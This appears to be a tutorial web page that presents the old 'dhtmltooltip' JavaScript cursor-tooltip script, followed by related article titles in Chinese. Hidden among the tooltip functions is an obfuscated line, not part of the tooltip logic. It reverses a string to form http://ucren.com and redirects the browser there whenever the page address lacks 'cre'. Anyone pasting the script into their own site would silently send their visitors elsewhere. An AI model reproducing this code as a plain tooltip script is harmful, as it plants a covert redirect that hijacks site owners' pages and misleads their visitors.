popdiv
var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip
var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).
document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image
var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""
var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""
function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}
(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();
function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20
var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY
var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000
//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}
//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}
function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip
相關(guān)文章
BootStrap fileinput.js文件上傳組件實(shí)例代碼
這篇文章主要介紹了BootStrap fileinput.js文件上傳組件實(shí)例代碼,非常不錯(cuò),具有參考借鑒價(jià)值,需要的朋友可以參考下2017-02-02
JavaScript中自動(dòng)插入分號(hào)的規(guī)則詳解
JavaScript?提供了?automatic?semicolon?insertion?(ASI)自動(dòng)插入分號(hào)規(guī)則,在不加分號(hào)的情況下,會(huì)自動(dòng)補(bǔ)充分號(hào)來分隔不同語句,下面我們就來具體了解一下這一規(guī)則吧2024-01-01
Javascript處理DOM元素事件實(shí)現(xiàn)代碼
DOM元素都有一些標(biāo)準(zhǔn)事件,一般使用時(shí)只要使用onclick=function的方式就可以了,但是當(dāng)需要為DOM元素添加多個(gè)事件,刪除事件,或在用Javascript封裝控件的時(shí)候,為封裝的控件添加自定義事件的時(shí)候2012-05-05
asp錯(cuò)誤 '80040e21' 多步 OLE DB&nbs
今天在寫asp入庫操作的時(shí)候提示Microsoft OLE DB Provider for ODBC Drivers 錯(cuò)誤 80040e21 多步 OLE DB 操作產(chǎn)生錯(cuò)誤,請(qǐng)檢查每個(gè) OLE DB 狀態(tài)值,經(jīng)測試時(shí)函數(shù)定義文件沒有加載導(dǎo)致類型不對(duì),所以無法入庫2023-05-05
javascript 彈出的窗口返回值給父窗口具體實(shí)現(xiàn)
這篇文章主要介紹了javascript 彈出的窗口返回值給父窗口具體實(shí)現(xiàn),有需要的朋友可以參考一下2013-11-11
JS實(shí)現(xiàn)懸浮移動(dòng)窗口(懸浮廣告)的特效
頁面加載完成之后向頁面插入窗口,之后向窗口插入關(guān)閉按鈕,使用setInterval()函數(shù)觸發(fā)moves()函數(shù)開始動(dòng)畫2013-03-03
原生javascript上傳圖片帶進(jìn)度條【實(shí)例分享】
本文主要介紹了原生javascript上傳圖片帶進(jìn)度條的實(shí)例詳解。具有很好的參考價(jià)值。下面跟著小編一起來看下吧2017-04-04
JavaScript實(shí)現(xiàn)帶音效的煙花特效
這篇文章主要為大家介紹了通過JavaScript實(shí)現(xiàn)的帶音效的煙花特效,文中的示例代碼簡潔易懂,對(duì)我們學(xué)習(xí)JavaScript有一定的幫助,感興趣的可以了解一下2021-12-12

